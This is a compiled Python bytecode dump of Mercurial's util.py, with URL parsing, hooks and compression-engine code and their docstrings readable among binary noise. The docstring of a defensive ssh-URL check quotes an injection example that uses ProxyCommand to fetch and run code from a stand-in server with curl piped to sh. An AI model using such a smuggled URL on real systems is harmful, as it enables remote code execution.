idis%.0f GBi
s%.1f GBs%.2f GBis%.0f MBs%.1f MBs%.2f MBs%.0f KBs%.1f KBs%.2f KBs
%.0f bytesttransformingwritercB@s2eZdZd�Zd�Zd�Zd�ZRS(s3Writable file wrapper to transform data by functioncC@s||_||_dS(N(Rt_encode(R0Rtencode((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�	s	cC@s|jj�dS(N(RRm(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRm�	scC@s|jj�dS(N(RR�(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��	scC@s|jj|j|��S(N(RR�RJ(R0R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��	s(RCRDRER4RmR�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRI�	s
			s\r*\ncC@stjd|�S(Ns
(t_eolretsub(R2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyttolf�	scC@stjd|�S(Ns
(RLRM(R2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyttocrlf�	scC@s
t|t�S(N(RIRO(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt_crlfwriter�	ss
tCPythoniiicC@st|jd�S(NR(R=Ry(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
_safeiterfile�	scc@s�|j�}d}x�tr�ytj||�}Wn.tk
ra}|jtjkr[qqb�nX||7}d|kr�|jt�}d}x/|D]$}|ddkr�|Vq�|}q�Wn|sPqqW|r�|VndS(NRs
i����(RlR|R{RQRrR�tEINTRR�(RR�R�R�RztextsplittedR3((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRR�	s*	


cC@sTt}t|�tkr<tjtj|j��j�}n|rF|St	|�SdS(N(
R|R1tfileR}tS_ISREGR{R�Rltst_modeRR(Rtfastpath((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytiterfile

s$cC@s|S(N((R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRZ
scc@s1x*|D]"}x|j�D]}|VqWqWdS(N(R�(titeratorR:R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	iterlines
s
cC@stjjtjj|��S(N(R{RHt
expandusert
expandvars(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
expandpath
sc@s��pd��dj�j��}|rj|d|7}t|�dkrW|d}n|}|�|<ntjd||f�}|j��fd�|�S(s�Return the result of interpolating items in the mapping into string s.

    prefix is a single character string, or a two character string with
    a backslash as the first character if the prefix needs to be escaped in
    a regular expression.

    fn is an optional function that will be applied to the replacement text
    just before replacement.

    escape_prefix is an optional flag that allows using doubled prefix for
    its escaping.
    cS@s|S(N((R2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�,
Rt|is%s(%s)c@s��|j�d�S(Ni(R�(R6(R�tmapping(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�6
R(RtRMRRR�R�RM(R�RaR2R�t
escape_prefixtpatternstprefix_chartr((R�Ras4/usr/lib64/python2.7/site-packages/mercurial/util.pytinterpolate
s


cC@spyt|�SWntk
r!nXytjtj|��SWn-tjk
rktjtd�|��nXdS(s�Return the port for a given network service.

    If port is an integer, it's returned as is. If it's a string, it's
    looked up using socket.getservbyname(). If there's no matching
    service, error.Abort is raised.
    s+no port number associated with service '%s'N(	R�R�tsockett
getservbynameR	R!RR-R.(tport((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytgetport8
s
turlcB@s�eZdZdZdZejd�jZe	e	d�Z
ejd��Z
d�Zeje�Zd�Zd�Zd	�Zd
�ZRS(s�	Reliable URL parser.

    This parses URLs and provides attributes for the following
    components:

    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>

    Missing components are set to None. The only exception is
    fragment, which is set to '' if present but empty.

    If parsefragment is False, fragment is included in query. If
    parsequery is False, query is included in path. If both are
    False, both fragment and query are included in path.

    See http://www.ietf.org/rfc/rfc2396.txt for more information.

    Note that for backward compatibility reasons, bundle URLs do not
    take host names. That means 'bundle://../' has a path of '../'.

    Examples:

    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
    >>> url(b'ssh://[::1]:2200//home/joe/repo')
    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
    >>> url(b'file:///home/joe/repo')
    <url scheme: 'file', path: '/home/joe/repo'>
    >>> url(b'file:///c:/temp/foo/')
    <url scheme: 'file', path: 'c:/temp/foo/'>
    >>> url(b'bundle:foo')
    <url scheme: 'bundle', path: 'foo'>
    >>> url(b'bundle://../foo')
    <url scheme: 'bundle', path: '../foo'>
    >>> url(br'c:\foo\bar')
    <url path: 'c:\\foo\\bar'>
    >>> url(br'\\blah\blah\blah')
    <url path: '\\\\blah\\blah\\blah'>
    >>> url(br'\\blah\blah\blah#baz')
    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
    >>> url(br'file:///C:\users\me')
    <url scheme: 'file', path: 'C:\\users\\me'>

    Authentication credentials:

    >>> url(b'ssh://joe:xyz@x/repo')
    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
    >>> url(b'ssh://joe@x/repo')
    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>

    Query strings and fragments:

    >>> url(b'http://host/a?b#c')
    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
    <url scheme: 'http', host: 'host', path: 'a?b#c'>

    Empty path:

    >>> url(b'')
    <url path: ''>
    >>> url(b'#a')
    <url path: '', fragment: 'a'>
    >>> url(b'http://host/')
    <url scheme: 'http', host: 'host', path: ''>
    >>> url(b'http://host/#a')
    <url scheme: 'http', host: 'host', path: '', fragment: 'a'>

    Only scheme:

    >>> url(b'http:')
    <url scheme: 'http'>
    s!~*'()+s
/!~*'()+:\s^[a-zA-Z0-9+.\-]+:cC@sd|_|_|_|_d|_|_|_|_t	|_
d|_||_|r�d|kr�|j
dd�\}|_nt|�s�|jd�r�||_dS|jd�r�d|_|d}|jd�r�|d	}n||_dS|j|�rC|j
d
d�}|drC|\|_}t|_
qCn|shd}|j
r�d|_dSnI|j
r~||_dS|r�d|kr�|j
dd�\}|_|s�d}n|js�d|_q�n|rl|jd�rl|d	j
d
d�}t|�dkr!|\|_}n|d|_d}|jsld|_|rit|�rid
|}qiqln|jr�d|jkr�|jjdd�\|_|_d
|jkr�|jj
d
d�\|_|_n|js�d|_q�n|jrrd
|jkrr|jjd�o)|jjd�rr|j|_|jjd
d�\|_|_|jsrd|_qrn|jr�|jdkr�|jdkr�tjtd���n||_xEdD]=}t||�}|dk	r�t||tj|��q�q�WdS(NRt#is\\sbundle:tbundleis//it:it?RFt@t[t]RVt	localhosts	127.0.0.1s[::1]s(file:// URLs can only refer to localhosttusertpasswdthostRiRHtfragment(Rss	127.0.0.1s[::1](RtRuRvRiRHRw(R@tschemeRtRuRvRiRHtqueryRwR|t
_localpatht	_hostportt	_origpathR�thasdrivelettert
startswitht_matchschemeReRRtrsplitR�RR-R.R�R�turlreqtunquote(R0RHt
parsequeryt
parsefragmenttpartsRRRV((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�
s�					

	
						
		!$	%!		
cC@sfg}xLdD]D}t||�}|dk	r
|jd	|tj|�f�q
q
Wd
dj|�S(
NRxRtRuRvRiRHRyRws%s: %rs<url %s>s, (RxRtRuRvRiRHRyRw(R�R@R}R	tbytestrRt(R0tattrsRRRV((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__repr__�
s
'cC@sm|jrO|j}|jdkr.d|}n|jrK|d|j7}n|S|jd}|jsw|jsw|jr�|d7}n]|jr�|js�|jjd�s�t|j�r�|d7}t|j�r�|d7}q�n|jr|t	j
|jd|j�7}n|jr;|dt	j
|jd|j�7}n|jsM|jrZ|d7}n|jr�|jjd	�o�|jjd
�s�|t	j
|j�7}q�||j7}n|j
r�|dt	j
|j
�7}n|jr�|d7}n|jr|t	j
|jd|j�7}n|jr4|d|j7}n|jdk	ri|dt	j
|jd|j�7}n|S(
s�Join the URL's components back into a URL string.

        Examples:

        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
        'http://user:pw@host:80/?foo=bar&baz=42'
        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
        'http://user:pw@host:80/?foo=bar%3dbaz'
        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
        'ssh://user:pw@[::1]:2200//home/joe#'
        >>> bytes(url(b'http://localhost:80//'))
        'http://localhost:80//'
        >>> bytes(url(b'http://localhost:80/'))
        'http://localhost:80/'
        >>> bytes(url(b'http://localhost:80'))
        'http://localhost:80/'
        >>> bytes(url(b'bundle:foo'))
        'bundle:foo'
        >>> bytes(url(b'bundle://../foo'))
        'bundle:../foo'
        >>> bytes(url(b'path'))
        'path'
        >>> bytes(url(b'file:///tmp/foo/bar'))
        'file:///tmp/foo/bar'
        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
        'file:///c:/tmp/foo/bar'
        >>> print(url(br'bundle:foo\bar'))
        bundle:foo\bar
        >>> print(url(br'file:///D:\data\hg'))
        file:///D:\data\hg
        Rmsbundle:RlRns//RFtsafeRpRqRrRoN(RzRHRxRwRtRuRvR~R}R�tquotet
_safecharsR�Rit_safepcharsRyR@(R0R2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	__bytes__�
sH"		
	

%
	"	&
	$		
	"	&cC@s�|j|j}}z"d\|_|_t|�}Wd|||_|_X|js_|dfS|d||jf|j|jp�dffS(NR(NN(RtRuR@tbytesRv(R0RtRuR2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytauthinfoMs	
cC@s_|jr|jdkrtSt|j�r/tS|jjd�rEtS|jjd�r[tStS(NRVs\\RF(RxR|R}RHR~Re(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRI]scC@s�|jdks|jdkr�|jp*d}t|j�rS|jd|j}n2|jdk	r�|jr�t|�r�d|}n|S|jS(NRVRmRF(RxRHR}R{RvR@R|(R0RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRGhs

cC@s&|jp%|jdkp%|jdkS(s?whether localpath will return something that posixfile can openRVRm(Rx(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytislocalus(RCRDRER�R�R�R�R�RR|R4Rt	strmethodR�R�t__str__R�RIRGR�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRkJ
sH\
	M			
cC@stt|�j�S(N(RiRkRx(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	hasschemezscC@s*|o)|dd!dko)|dd!j�S(NiiRni(tisalpha(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR}}scC@st|dtdt�j�S(NR�R�(RkReRG(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyturllocalpath�scC@sYtj|�}|jd�s-|jd�rUtjtd�tj|�f��ndS(s\check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    sssh://-ssvn+ssh://-spotentially unsafe url: %rN(R�R�R~RR-R.R	R�(RH((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytchecksafessh�s
cC@s+t|�}|jr!d|_nt|�S(s$hide user credential in a url strings***(RkRuR�(tu((s4/usr/lib64/python2.7/site-packages/mercurial/util.pythidepassword�s	cC@s&t|�}d|_|_t|�S(s7remove all authentication information from a url stringN(RkR@RtRuR�(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
removeauth�sg@�@s%.0f ss%.1f ss%.2f ss%.3f sg����MbP?s%.1f mss%.2f mss%.3f msg���ư>s%.1f uss%.2f uss%.3f usg��&�.>s%.1f nss%.2f nss%.3f nsttimedcmstatscB@sheZdZejdejd���Zejdd�Zejdd�Zd�Z	e
je	�ZRS(sFStats information produced by the timedcm context manager on entering.RcC@st�S(N(ttimer(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��RiicC@s|jrt|j�SdS(Ns	<unknown>(telapsedt	timecount(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s(
RCRDRERtibtFactorytstartR�R�R�RR�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s	cg@smtjd7_tdtj�}z"tj||��
|VWdQXWdt�|j|_tjd8_XdS(s�A context manager that produces timing information for a given context.

    On entering a timedcmstats instance is produced.

    This context manager is reentrant.

    iR�N(ttimedcmt_nestedR�RtlogR�R�R�(t	whencefmtt
whenceargsttiming_stats((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s
c@s�fd�}|S(s�Report the execution time of a function call to stderr.

    During development, use as a decorator when you need to measure
    the cost of a function, e.g. as follows:

    @util.timed
    def foo(a, b, c):
        pass
    c@snttj�j���}�||�}WdQXtj}|jdd|jdtj�j�|f�|S(Ns	%s%s: %s
t i(R�R	R�RCRtstderrR�R�(RvRwt
time_statsR%R�(R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRD�s		((R�RD((R�s4/usr/lib64/python2.7/site-packages/mercurial/util.pyttimed�sR�R3tgtkbtmbtgbRScC@s�|j�j�}ySxBtD]:\}}|j|�rtt|t|� �|�SqWt|�SWn*tk
r�tj	t
d�|��nXdS(s�Convert a space specifier to a byte count.

    >>> sizetoint(b'30')
    30
    >>> sizetoint(b'2.2kb')
    2252
    >>> sizetoint(b'6M')
    6291456
    scouldn't parse size: %sN(tstripR�t
_sizeunitsR�R�R=RRR�RRER.(R2R�R3R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	sizetoint�s
#
thookscB@s)eZdZd�Zd�Zd�ZRS(s�A collection of hook functions that can be used to extend a
    function's behavior. Hooks are called in lexicographic order,
    based on the names of their sources.cC@s
g|_dS(N(t_hooks(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4scC@s|jj||f�dS(N(R�R}(R0R8thook((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytadd	scG@sM|jjdd��g}x*|jD]\}}|j||��q&W|S(NR;cS@s|dS(Ni((R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�
R(R�tsortR}(R0RvtresultsR8R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__call__s
(RCRDRER4R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s		s %-*s in %s
s%s:%dcc@s�gtj�|d D]:\}}}}|tj|�|ftj|�f^q|}|r�td�|D��}	xF|D];\}
}|dkr�|	|
|fVq~||	|
|fVq~WndS(s�Yields lines for a nicely formatted stacktrace.
    Skips the 'skip' last entries, then return the last 'depth' entries.
    Each file+linenumber is formatted according to fileline.
    Each line is formatted according to line.
    If line is None, it yields:
      length of longest filepath+line number,
      filepath+linenumber,
      function

    Not be used in production code but very convenient while developing.
    ics@s|]}t|d�VqdS(iN(RR(R�tentry((s4/usr/lib64/python2.7/site-packages/mercurial/util.pys	<genexpr>#sN(RXt
extract_stackR	tsysbytesRpR@(tskipR�tfilelinetdepthR�tlnR�t_texttentriestfnmaxtfnln((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytgetstackframessPt
stacktracecC@sf|r|j�n|jd|j��x+t|dd|�D]}|j|�qAW|j�dS(sWWrites a message to f (stderr) with a nicely formatted stacktrace.
    Skips the 'skip' entries closest to the call, then show 'depth' entries.
    By default it will flush stdout first.
    It can be used everywhere and intentionally does not require an ui object.
    Not be used in production code but very convenient while developing.
    s%s at:
iR�N(R�R�trstripR�(R#R�R�totherfR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytdebugstacktrace*s
tdirscB@s>eZdZdd�Zd�Zd�Zd�Zd�ZRS(s9a multiset of directory names from a dirstate or manifestcC@s�i|_|j}t|d�rj|dk	rjxU|j�D])\}}|d|kr:||�q:q:Wnx|D]}||�qqWdS(NR�i(t_dirstaddpathRR@R�(R0tmapR�R�R�R2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4<s		
cC@sN|j}x>t|�D]0}||kr<||cd7<dSd||<qWdS(Ni(R�tfinddirs(R0RHR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�Gs	cC@sO|j}x?t|�D]1}||dkr@||cd8<dS||=qWdS(Ni(R�R�(R0RHR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytdelpathOs	cC@s
t|j�S(N(R=R�(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR>WscC@s
||jkS(N(R�(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRZsN(	RCRDRER@R4R�R�R>R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�9s			cc@sD|jd�}x.|dkr?|| V|jdd|�}qWdS(NRFi����i(trfind(RHR-((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�`s	tservertclientucompenginewireprotosupportunameuserverpriorityuclientprioritytcompressormanagercB@s�eZdZd�Zd�Zd�Zd�Zd�Zed��Z	ed��Z
d�Zd	�Ze
d
�Zd�Zd�ZRS(
sGHolds registrations of various compression engines.

    This class essentially abstracts the differences between compression
    engines to allow new compression formats to be added easily, possibly from
    extensions.

    Compressors are registered against the global instance by calling its
    ``register()`` method.
    cC@s1i|_i|_i|_i|_i|_dS(N(t_enginest_bundlenamest_bundletypest_revlogheaderst
_wiretypes(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4ys
				cC@s|j|S(N(R�(R0R;((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR<�scC@s
||jkS(N(R�(R0R;((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�scC@st|jj��S(N(R=R�RM(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR>�sc	C@s�t|t�s$ttd���n|j�}||jkr[tjtd�|��n|j�}|r|\}}||j	kr�tjtd�|��n||j
kr�tjtd�||j
|f��n|r�||j	|<n||j
|<n|j�}|re|j}||jkrUtjtd�||j|f��n||j|<n|j
�}|r�||jkr�tjtd�||j|f��n|r�||j|<n||j|<dS(sxRegister a compression engine with the manager.

        The argument must be a ``compressionengine`` instance.
        s$argument must be a compressionengines(compression engine %s already registereds!bundle name %s already registereds'bundle type %s already registered by %ss5wire protocol compression %s already registered by %ss)revlog header %s already registered by %sN(R]tcompressionengineR�R.R�R�RR-t
bundletypeR�R�twireprotosupportR�trevlogheaderR�(	R0tengineR�t
bundleinfot
bundlenameR�twiresupporttwiretypeR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytregister�s@

	cC@st|jj��S(N(tsetR�RM(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsupportedbundlenames�scC@st|jj��S(N(R�R�RM(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsupportedbundletypes�scC@sF|j|j|}|j�sBtjtd�|j���n|S(s�Obtain a compression engine registered to a bundle name.

        Will raise KeyError if the bundle type isn't registered.

        Will abort if the engine is known but not available.
        s)compression engine %s could not be loaded(R�R�t	availableRR-R.R�(R0R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
forbundlename�s
cC@sF|j|j|}|j�sBtjtd�|j���n|S(s�Obtain a compression engine registered to a bundle type.

        Will raise KeyError if the bundle type isn't registered.

        Will abort if the engine is known but not available.
        s)compression engine %s could not be loaded(R�R�R�RR-R.R�(R0R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
forbundletype�s
c@s�|tkrdnd�g|jj�D]}|j|^q(}|rog|D]}|j�rN|^qN}n�fd�}tt|d|��S(s�Obtain compression engines that support the wire protocol.

        Returns a list of engines in prioritized order, most desired first.

        If ``onlyavailable`` is set, filter out engines that can't be
        loaded.
        tserverprioritytclientpriorityc@s&|j�}dt|��|jfS(Ni����(R�R�R�(RR(R(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytgetkey�sR;(t
SERVERROLER�R5R�R�tlisttsorted(R0trolet
onlyavailableRtenginesR�((Rs4/usr/lib64/python2.7/site-packages/mercurial/util.pytsupportedwireengines�s
)(cC@sF|j|j|}|j�sBtjtd�|j���n|S(Ns)compression engine %s could not be loaded(R�R�R�RR-R.R�(R0R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytforwiretype�s
cC@s|j|j|S(s�Obtain a compression engine registered to a revlog header.

        Will raise KeyError if the revlog header value isn't registered.
        (R�R�(R0theader((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytforrevlogheader
s(RCRDRER4R<RR>R�R~R�R�R�R�R|R�R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�os						3	
	
	R�cB@s\eZdZd�Zd�Zd�Zd�Zd�Zd	d�Z	d�Z
d	d�ZRS(
suBase class for compression engines.

    Compression engines must implement the interface defined by this class.
    cC@s
t��dS(s�Returns the name of the compression engine.

        This is the key the engine is registered under.

        This method must be implemented.
        N(tNotImplementedError(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�
scC@stS(sWhether the compression engine is available.

        The intent of this method is to allow optional compression engines
        that may not be available in all installations (such as engines relying
        on C extensions that may not be present).
        (R|(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�
scC@sdS(s�Describes bundle identifiers for this engine.

        If this compression engine isn't supported for bundles, returns None.

        If this engine can be used for bundles, returns a 2-tuple of strings of
        the user-facing "bundle spec" compression name and an internal
        identifier used to denote the compression format within bundles. To
        exclude the name from external usage, set the first element to ``None``.

        If bundle compression is supported, the class must also implement
        ``compressstream`` and `decompressorreader``.

        The docstring of this method is used in the help system to tell users
        about this engine.
        N(R@(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�"
scC@sdS(s�Declare support for this compression format on the wire protocol.

        If this compression engine isn't supported for compressing wire
        protocol payloads, returns None.

        Otherwise, returns ``compenginewireprotosupport`` with the following
        fields:

        * String format identifier
        * Integer priority for the server
        * Integer priority for the client

        The integer priorities are used to order the advertisement of format
        support by server and client. The highest integer is advertised
        first. Integers with non-positive values aren't advertised.

        The priority values are somewhat arbitrary and only used for default
        ordering. The relative order can be changed via config options.

        If wire protocol compression is supported, the class must also implement
        ``compressstream`` and ``decompressorreader``.
        N(R@(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�4
scC@sdS(sPHeader added to revlog chunks that identifies this engine.

        If this engine can be used to compress revlogs, this method should
        return the bytes used to identify chunks compressed with this engine.
        Else, the method should return ``None`` to indicate it does not
        participate in revlog compression.
        N(R@(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�M
scC@s
t��dS(s�Compress an iterator of chunks.

        The method receives an iterator (ideally a generator) of chunks of
        bytes to be compressed. It returns an iterator (ideally a generator)
        of bytes of chunks representing the compressed output.

        Optionally accepts an argument defining how to perform compression.
        Each engine treats this argument differently.
        N(R�(R0tittopts((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytcompressstreamW
s
cC@s
t��dS(s�Perform decompression on a file object.

        Argument is an object with a ``read(size)`` method that returns
        compressed data. Return value is an object with a ``read(size)`` that
        returns uncompressed data.
        N(R�(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytdecompressorreaderc
scC@s
t��dS(sLObtain an object that can be used to compress revlog entries.

        The object has a ``compress(data)`` method that compresses binary
        data. This method returns compressed binary data or ``None`` if
        the data could not be compressed (too small, not compressible, etc).
        The returned data should have a header uniquely identifying this
        compression format so decompression can be routed to this engine.
        This header should be identified by the ``revlogheader()`` return
        value.

        The object has a ``decompress(data)`` method that decompresses
        data. The method will only be called if ``data`` begins with
        ``revlogheader()``. The method should return the raw, uncompressed
        data or raise a ``StorageError``.

        The object is reusable but is not thread safe.
        N(R�(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytrevlogcompressorl
sN(RCRDRER�R�R�R�R�R@R�R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�
s							
		t_CompressedStreamReadercB@s#eZd�Zd�Zd�ZRS(cC@sIt|d�r|j|_n|j|_g|_d|_t|_dS(NRsi(RRst_readerRQt_pendingt_posReRf(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�
s		cC@s
t��dS(N(R�(R0R:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt_decompress�
scC@sWg}xJtrRx�|jr�t|jd�||jkr�|jd}|j||j|j|!�|j|7_dj|�S|jjd�}|jr�|j||j�|t|�|j8}n|j|�|t|�8}d|_qW|jrdj|�S|jd�}|j	|�|r	|jr	|jr	dj|�Sq	WdS(NiRi(
R|R�RRR�R}RtR!RfR�R�(R0R3RztnewbufR:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQ�
s*	 

	

	

(RCRDR4R�RQ(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��
s			t_GzipCompressedStreamReadercB@seZd�Zd�ZRS(cC@s)tt|�j|�tj�|_dS(N(R`RR4tzlibt
decompressobjt
_decompobj(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�
scC@s�|jj|�}|r+|jj|�n|jj�}y6|jd�|j�|jdkrot|_nWnt	j
k
r�nXdS(NR6(Rt
decompressR�R}R�R�tunused_dataR|RfRR(R0R:RR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��
s

(RCRDR4R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�
s	t_BZ2CompressedStreamReadercB@seZd�Zd�ZRS(cC@s)tt|�j|�tj�|_dS(N(R`RR4tbz2tBZ2DecompressorR(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�
scC@s�|jj|�}|r+|jj|�ny=x6trf|jjd�}|rb|jj|�q1Pq1WWntk
r�t|_nXdS(NR(RRR�R}R|tEOFErrorRf(R0R:R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��
s		
(RCRDR4R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�
s	t#_TruncatedBZ2CompressedStreamReadercB@seZd�ZRS(cC@sEtt|�j|�|jjd�}|rA|jj|�ndS(NtBZ(R`RR4RRR�R}(R0ROR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�
s(RCRDR4(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�
st_ZstdCompressedStreamReadercB@seZd�Zd�ZRS(cC@s8tt|�j|�||_|j�j�|_dS(N(R`R
R4t_zstdtZstdDecompressorRR(R0ROtzstd((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�
s	cC@s�|jj|�}|r+|jj|�ny=x6trf|jjd�}|rb|jj|�q1Pq1WWn |jjk
r�t|_nXdS(NR(RRR�R}R|Rt	ZstdErrorRf(R0R:R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��
s		(RCRDR4R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR
�
s	t_zlibenginecB@sceZd�Zd�Zd�Zd�Zd	d�Zd�Zde	fd��YZ
d	d�ZRS(
cC@sdS(NR((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��
scC@sdS(s�zlib compression using the DEFLATE algorithm.

        All Mercurial clients should support this format. The compression
        algorithm strikes a reasonable balance between compression ratio
        and size.
        tgziptGZ(RR((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��
scC@stddd�S(NRi(tcompewireprotosupport(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��
scC@sdS(NR6((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��
scc@sd|p	i}tj|jdd��}x+|D]#}|j|�}|r.|Vq.q.W|j�VdS(NR�i����(RtcompressobjRtcompressR�(R0R�R�tzR:R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��
s
cC@s
t|�S(N(R(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�stzlibrevlogcompressorcB@seZd�Zd�ZRS(cC@s�t|�}|dkrdS|dkrQtj|�}t|�|krM|SdStj�}g}d}x=||kr�|d}|j|j|||!��|}qlW|j|j��ttt|��|kr�dj	|�SdSdS(Ni,i@BiiiRi(
RRR@RRRR}R�tsumR�Rt(R0R6tinsizet
compressedRR�R-tpos2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR	s&


cC@sPytj|�SWn8tjk
rK}tjtd�tj|���nXdS(Nsrevlog decompress error: %s(RRRtStorageErrorR.Rtforcebytestr(R0R6R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR(s
(RCRDRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs	cC@s
|j�S(N(R(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�/sN(RCRDR�R�R�R�R@R�R�R�RR�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�
s					
	't
_bz2enginecB@s8eZd�Zd�Zd�Zdd�Zd�ZRS(cC@sdS(NR((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�5scC@sdS(s�An algorithm that produces smaller bundles than ``gzip``.

        All Mercurial clients should support this format.

        This engine will likely produce smaller bundles than ``gzip`` but
        will be significantly slower, both during compression and
        decompression.

        If available, the ``zstd`` engine can yield similar or better
        compression at much higher speeds.
